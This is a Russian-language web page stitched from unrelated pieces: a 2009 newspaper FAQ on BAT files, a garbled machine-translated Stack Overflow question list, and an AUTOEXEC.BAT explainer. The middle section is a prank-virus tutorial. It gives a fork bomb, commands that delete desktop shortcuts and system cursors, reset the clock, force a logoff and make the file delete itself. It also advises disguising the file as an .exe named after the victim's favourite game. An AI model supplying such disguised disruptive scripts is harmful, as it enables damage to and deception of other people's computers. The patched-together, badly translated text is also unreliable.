Бат файл что такое: Файл BAT — что это за формат и основные программы
Содержание
Немного о BAT-файлах и не только
Вы здесь
Главная
»
Архив газеты
»
2009 год
»
№12
»
Немного о BAT-файлах и не только
Что-то вроде FAQ
Можно ли с помощью BAT-файлов
вносить изменения в системный
реестр Windows?
Наверное, самым простым вариантом
внесения изменений в реестр Windows в
данном случае всё же будет
использование REG-файлов. Это
специальные текстовые файлы,
которые специально существуют в
Windows для того, чтобы пользователь
мог быстро внести нужные изменения
в системный реестр, не утруждая
себя долгими поисками нужного
ключа в дереве, которое показывает
RegEdit. Поскольку, я так понимаю, речь
идёт о пакетном внесении каких-то
параметров, то можно обойтись и
вовсе без BAT-файла: в один REG-файл
можно записать несколько ключей
реестра, которые будут изменены при
его запуске. Если же вам нужно
сгенерировать значения ключей
реестра, что называется, «на
лету», то в этом случае можно
«повесить» на BAT-файл генерацию
и запуск REG-файла.
REG-файлы имеют достаточно простой
формат. Это, фактически, текстовый
файл с набором записей следующего
вида:
[HKEY_LOCAL_MACHINE\Sub1\Sub2] "Par1"=dword:0 "Par2"="string" "Par3"=hex:cc,1b,00,00,00,40,3d,68
Здесь, конечно, вместо строки,
заключённой в квадратные скобки,
нужно поместить реальный путь к той
ветке в реестре, параметры в
которой вы намереваетесь изменить
(при этом скобки должны остаться).
Имена этих самых параметров должны
быть заключены в кавычки, как и их
значения в том случае, если эти
параметры имеют строковый тип. Для
параметров типа DWORD и HEX перед
записью после знака равно их
значения нужно, как видите,
указывать соответствующий тип и
ставить двоеточие. Записи в файле
друг от друга никак специально
отделять не надо — начиная с новой
строки в квадратных скобках,
изменения будут вноситься в
параметры по новому адресу. В самом
начале файла поместите также
строку «Windows Registry Editor Version 5.00»
(без кавычек) — эта строка нужна для
того, чтобы редактор реестра мог
определить, что данный файл
содержит в себе ключи для внесения
изменений в реестр; её наличие в
REG-файле обязательно. Не забудьте
также сделать расширение .REG у
выходного файла.
Для формирования файла
используйте команду >> —
стандартный способ вывода
информации из BAT-файла в текстовый
файл. Для внесения изменений в
реестр нужно вызвать утилиту regedit, в
качестве параметра которой нужно
передать имя REG-файла, например, так:
«regedit crack.reg» (без кавычек).
Почему в строке, которую я хочу
вывести на экран, не отображается
знак процента?
В BAT-файлах символ процента
используется для того, чтобы
обозначать переменные — либо
переменные среды, либо внутренние
переменные самого BAT-файла. Поэтому
если вы хотите вывести на экран
символ процента, вам нужно на самом
деле использовать два символа
процента подряд, например: «echo This
day performed 0.25%% of the whole project». Кстати,
«%» — далеко не единственный
символ, который имеет в BAT-файлах
особое значение. Ещё это символы
«>», «<«, а также
некоторые другие. Их можно вывести
на экран в сообщении при помощи
комбинаций «^<«, «^>» (т. е.
перед самим символом ставится
«птичка»).
Что такое errorlevel?
Рано или поздно любой начинающий
создатель пакетных файлов Windows
сталкивается с необходимостью
проверить результат работы одной
команды перед тем, как выполнить
другую. Для этого существует
встроенная переменная errorlevel,
меняющая своё значение после
исполнения каждой команды. Её
значение может иметь разный смысл
для разных команд, используемых в
пакетных файлах. Обычно успешное
выполнение команды отображается
нулевым значением этой переменной,
однако далеко не всегда ненулевое
значение подразумевает какие-либо
сбои или ошибки.
Применяют эту переменную так:
if errorlevel 0 echo Errorlevel is 0 or greater
Вместо «echo Errorlevel is 0 or greater»
может, естественно, стоять какая-то
более осмысленная и
соответствующая вашей ситуации
команда. После «if» можно
добавить «not» (опять-таки, безо
всяких кавычек) — тогда,
соответственно, значение условия
меняется на диаметрально
противоположное. Надо сказать, что
конструкция «errorlevel N» не
означает точное равенство
переменной errorlevel значению N — она
означает, что команда после условия
будет выполнена в том случае, если
значение errorlevel больше или равно
числу N. Соответственно, с помощью
конструкции «if errorlevel»
несколько удобнее проверять именно
ошибки, нежели успешное выполнение
той или иной команды. Впрочем,
конечно, если написать «if not errorlevel
1», то в случае неотрицательных
значений errorlevel’а мы получаем, что
errorlevel равен нулю. Беда в том, что
неотрицательности значений данной
переменной вам никто не может
гарантировать. Более подробно о
конструкции «if errorlevel» можно
почитать в справке операционной
системы Windows.
Вадим СТАНКЕВИЧ,
[email protected]
Версия для печати
Номер:
№12 за 2009 год
Рубрика:
Software
Заметили ошибку? Выделите ее мышкой и нажмите Ctrl+Enter!
Лучшие Android-приложения в мае
Магия возвращается! Обзор обновленных ноутбуков HONOR MagicBook X линейки 2023
Представляем новую мультисервисную платформу ITNEWS.
pro
Восстановление данных с карты памяти фотоаппарата
Афиша IT-мероприятий в июле
Безобидные вирусы .bat
#bat
#virus
40400
5
Здравствуй, дорогой читатель/читательница. Если ты читаешь эту статью, значит тебе захотелось немножко разыграть своего друга или знакомого. Здесь ты прочитаешь, как создать свой безобидный вирус с расширением .bat.
Предупреждаю: все описанные здесь примеры должны использоваться строго в законных целях. Автор этой статьи и администрация сайта за причиненный Вами ущерб ответственности не несёт! D:<
Короче говоря, сначала рассмотрим, что же такое в сущности, этот таинственный bat-файл, или в компьютерном сленге, батник.
Википедия гласит:
Пакетный файл (англ.
batch file) — текстовый файл в MS-DOS, OS/2 или Windows, содержащий последовательность команд, предназначенных для исполнения командным интерпретатором. После запуска пакетного файла программа-интерпретатор (как правило, COMMAND.COM или cmd.exe) читает его строка за строкой и последовательно исполняет команды. Пакетный файл — аналог скриптовых файлов командной строки (shell script) в Unix-подобных операционных системах.
Проще говоря, это аналог командной строки.
Конечно, команд там разных много, но нам потребуется лишь несколько. Впринципе, если Вы хотите сделать этот вирус один раз и не вдаваться в подробности, то запоминать их и не надо.
Общий принцип создания bat-файлов очень прост. Их можно создавать даже через Блокнот.
Онлайн курсы
- Курс HTML для начинающих
- Курс PHP для начинающих
- Курс MySQL для начинающих
- Курс ООП в PHP
Все курсы
- Открываем Блокнот
- Пишем @echo off
- Дальше пишем или копируем туда наш код
- Выбираем в левом верхнем углу «Сохранить как.
..»
- По умолчанию, все файлы сохраняются как .txt. Нас же это не устраивает.
Выбираем вместо «текстовые документы» «все файлы», пишем имя файла.bat и сохраняем.
В итоге должно получиться вот так
А затем вот так
Но если вы хотите быть коварными до конца, поменяйте у пакетного файла расширение на .exe, поставьте ему иконку, на которую пользователь захочет нажать, и, конечно, поменяйте название на название его любимой игры или браузера.
В общем, решайте сами. Фантазия тут неограничена.
Теперь, собственно, сам код.
start %0 %0
При активации данного «недовируса» появляется бесчисленное множество командных строк и компьютер гарантированно виснет. Убить процесс можно лишь через перезагрузку компьютера. На моём ноуте с объемом оперативной памяти 16 Гб глюков не наблюдалось лишь первые 3 секунды. Потом он намертво завис.
Называется такой тип вируса «форк-бомба». Опять-таки, читайте в Википедии 🙂
Онлайн тесты
- Тест на знание основ HTML
- Тест на знание основ PHP
- Тест на знание ООП в PHP
Все тесты
time 0:00 >nul
Данный вирус сбивает время на компьютере. Дёшево и сердито. И максимально безобидно.
del ** /q
Удаляет все ярлыки с рабочего стола. Уже не так безобидно, но еще не катастрофа.
del "%SystemRoot%\Cursors\*.*" >nul
Удаляет все курсоры. Пользователь дезориентирован.
shutdown -l -t 1 -c "Электрик ушёл в запой." -f >nul
Вырубает компьютер через 1 секунду, во время которой пользователь читает сообщение в кавычках.
msg * "Программу съел червяк." >nul
Выводит на экран сообщение с кнопкой ОК
Наконец, вирус можно сделать самоуничтожающимся, чтобы пользователь долго гадал, почему у него нет курсоров, например:
del "%0" >nul
(Команду для самоуничтожения вируса нужно писать после самого вируса). Например
Ну, собственно, и всё. С батниками можно сделать еще очень много чего интересного, но новичкам, я думаю, хватит и этого. И еще раз предупреждаю: не надо разыгрывать людей со слабой психикой, А ТО КАК ТРЕСНУТ!
До скорого, мои хакеры)
#bat
#virus
40400
5
Stack Overflow на русском
Задавать вопрос
Пакетный файл — это текстовый файл, содержащий ряд команд, которые выполняются интерпретатором команд в системах MS-DOS, IBM OS/2 или Microsoft Windows.
- Узнать больше…
- Лучшие пользователи
- Синонимы (9)
53 586
вопросы
Новейший
Активный
щедрый
Без ответа
Сортировать по
Нет ответов
Ответ не принят
Имеет награду
Отсортировано по
Новейший
Последние действия
Наивысший балл
Самый частый
Баунти скоро закончится
Отмечен
Мои просматриваемые теги
Следующие теги:
0
голоса
1
отвечать
17
Просмотры
Получение и установка переменных с помощью .
bat/cmd
Как я могу получить первый вывод команды, где python, и включить все в файл run.bat?
где вывод питона:
C:\Users\Vermelhao>где питон
C:\Program Files\Python\310\python.exe
C:\Пользователи\…
- питон
- пакетный файл
- cmd
0
голоса
0
ответы
10
Просмотры
Как мне иметь подпапки цикла «for/R», но не текущую папку?
Я пытаюсь использовать этот скрипт, чтобы удалить все, кроме MP3, в папке TEMP на моем жестком диске:
for /R D:\TEMP %%f in (*) do (если не «%%~xf»==».mp3″ del «%%~f»)
Как …
- пакетный файл
- рекурсия
- поиск
0
голоса
0
ответы
12
Просмотры
Измените схему питания на значения по умолчанию
powercfg /setACvalueindex Scheme_current SUB_PROCESSOR PROCFREQMAX 2500
powercfg /setACvalueindex Scheme_current SUB_PROCESSOR PROCFREQMAX1 3200
powercfg /setDCvalueindex схема_текущего SUB_PROCESSOR . ..
- пакетный файл
- cmd
- windows-11
- powercfg
0
голоса
0
ответы
21
Просмотры
Извлечение только MAC-адресов Ethernet и Wi-Fi [закрыто]
Я пытаюсь извлечь только свои MAC-адреса для Ethernet и Wi-Fi. Я хотел бы, чтобы они выводились в текстовый документ. Я использовал wmic nic, где PhysicalAdapter=True получил MACAddress,Name, чтобы перечислить мои…
- пакетный файл
- wifi
- ethernet
- mac-адрес
- wmic
0
голоса
0
ответы
11
Просмотры
Разница между установкой и вызовом строки с восклицательными знаками в setlocal или снаружи
В настоящее время я пишу пакетный скрипт, чтобы сделать несколько незначительных резервных копий для нашей компании, я создаю резервную копию SQL для нескольких баз данных или таблиц и позже импортирую их в более новую базу данных, также для каждого скрипта.
…
- windows
- пакетный файл
- пакетная обработка
0
голоса
0
ответы
12
Просмотры
Пакетный набор Windows IPV6 [закрыт]
Я делаю пакетный файл, чтобы автоматизировать некоторые процессы.
Я установил адрес, маску и шлюз IPV4 для определенного адаптера, используя следующий синтаксис.
интерфейс netsh ipv4 set address name=»…
- windows
- пакетный файл
- cmd
-3
голоса
1
отвечать
19
Просмотры
Объединить два пакетных скрипта (во время выполнения цикла) [закрыто]
Я сделал пакетный файл ping и хотел отобразить текст загрузки, но тогда мне нужно сделать цикл while do.
я не очень понимаю, как это работает.
Я показываю это в Windows CMD.
Здесь …
- циклы
- пакетный файл
- cmd
- ping
-2
голоса
0
ответы
19
Просмотры
Пакетный скрипт — Как «тронуть» все файлы? [закрыто]
Я хочу написать пакетный скрипт, который может «касаться» всех файлов в папках и подпапках.
Он должен иметь ту же специфику, что и команда «touch» из unix.
- пакетный файл
- сенсорный
0
голоса
0
ответы
6
Просмотры
Как изменить дополнительные настройки Ethernet с помощью пакетного файла? [закрыто]
Есть ли способ изменить дополнительные параметры сети, такие как скорость и дуплекс или буферы передачи, с помощью командного файла? Я хочу сделать пакетный файл, чтобы установить одинаковые настройки Ethernet для нескольких компьютеров.
Сеть …
- пакетный файл
- Ethernet
0
голоса
0
ответы
22
Просмотры
Пакетная переменная не помещается в цикл
Я хочу получить переменную из файла, а затем использовать ее в цикле for.
Вот мой сценарий:
@эхо выключено
SETLOCAL EnableDelayedExpansion
установить хост = мой IP-адрес
установить пользователь = мой пользователь
установить пароль=passwd
установить базу данных = myDb
…
- цикл for
- пакетный файл
-1
голоса
0
ответы
22
Просмотры
Пакетный файл. Откройте набор вкладок Crome в новом окне [закрыто]
У меня есть следующий пакетный файл, который открывает набор из нескольких вкладок в отдельном окне Crome определенного профиля.
@эхо выключено
запустить chrome —new-window —profile-directory=»Default» «https://…
- гугл-хром
- пакетный файл
0
голоса
1
отвечать
28
Просмотры
Измените все имена каталогов верхнего уровня на нижний регистр
Я пытаюсь сделать пакет, который переименовывает только основные папки в каталоге в нижний регистр, а не подпапки внутри этих папок.
Например:
Игра\Игровые файлы\Уровни
Переименовано в:
игра\файлы игры\…
- пакетный файл
-1
голоса
0
ответы
31
Просмотры
«runtime\python.exe» не распознается как внутренняя или внешняя команда, исполняемая программа или пакетный файл [закрыто]
C:\Users\Camer\Downloads\RVC-beta-v2-0618>runtime\python. exe infer-web.py —pycmd runtime\python.exe —port 7897
‘runtime\python.exe’ не распознается как внутренняя или внешняя команда,
действующий …
- python
- python-3.x
- windows
- python-2.7
- пакетный файл
2
голоса
2
ответы
39
Просмотры
Как эта линия работает в пакетном режиме
Я хотел создать свой собственный скрипт «stringLength», и мне удалось это сделать, но я не понимаю одну строку кода, которую я позаимствовал из https://ss64.com/nt/syntax-substring.html (проверьте рядом …
- пакетный файл
- cmd
0
голоса
1
отвечать
28
Просмотры
Как поставить число рядом с параметром в пакетном файле DOS?
В пакетном файле DOS (doit. bat) скажем, что у меня есть:
каталог c:\%12\*.*
с намерением передать %1 и указать папку c:\
Итак, для папки c:\myfiles2
Я бы побежал: doit myfiles
но это …
- пакетный файл
- dos
на страницу
Что такое файл AUTOEXEC.BAT? — Компьютерные заметки
Главная » Основные сведения » Компьютер » Что такое файл AUTOEXEC.BAT?
Автор Dinesh Thakur
Название этого пакетного файла происходит от комбинации слов автоматически выполняемого файла пакетного . Как и другие пакетные файлы, AUTOEXEC.BAT содержит ряд команд DOS , которые ваш (IBM-совместимый) ПК выполняет для вас одну за другой, так что вам не нужно вводить команды по отдельности. Он дает компьютеру различные базовые инструкции по запуску Windows, запуску антивирусной проверки в фоновом режиме, идентификации клавиатуры и так далее.
Этот файл обычно использовался для выдачи команд конфигурации и инициализации операционной системе и ПЕРИФЕРИЙНЫМ устройствам, таким как дисководы CD-ROM и звуковые карты. Что особенного в AUTOEXEC.BAT, так это то, что DOS автоматически запускает этот пакетный файл каждый раз, когда вы включаете или перезагружаете компьютер. Большинство людей называют AUTOEXEC.BAT файлом «AUTOEXEC» для краткости.
AUTOEXEC.BAT должен храниться в КОРНЕВОМ КАТАЛОГЕ загрузочного диска компьютера, чтобы его можно было найти и выполнить, а содержащиеся в нем команды имеют тот же синтаксис, что и любой другой BATCH-файл MS-DOS, то есть список операционных системные команды точно так же, как они были бы введены вручную в КОМАНДНОЙ СТРЕМЕ, а также некоторые управляющие структуры, такие как GOTO, которые нельзя развернуть вручную.
Вы можете настроить файл AUTOEXEC самостоятельно, заполнив его именно теми командами, которые вам нужны, чтобы ваша система работала в соответствии с вашими спецификациями и потребностями вашего программного обеспечения и периферийных устройств . AUTOEXEC.BAT обычно используется для установки внешнего вида командной строки DOS, указания DOS, в каких каталогах следует искать программы для запуска, настройки последовательных портов, загрузки драйвера мыши , и запуска резидент памяти программы и утилиты. Если хотите, вы можете использовать файл AUTOEXEC для запуска определенной прикладной программы (например, вашего текстового процессора) или для запуска Windows.
Вот выдержка из типичного файла AUTOEXEC.BAT:
PROMPT $p$g
PATH=C: \ WINDOWS;C: \DOS;C: \ UTILS
SET TEMP=D: \ TEM Р
Эти строки задают приглашение DOS для отображения текущего каталога; установить путь DOS ; и указать системе искать временные файлы в каталоге D:\TEMP.
В этом руководстве мы рассмотрим следующие темы:
ЗАГРУЗКА
Процесс запуска или перезагрузки компьютера. Загрузка — это процесс, через который проходит компьютер, чтобы подготовиться к приему данных.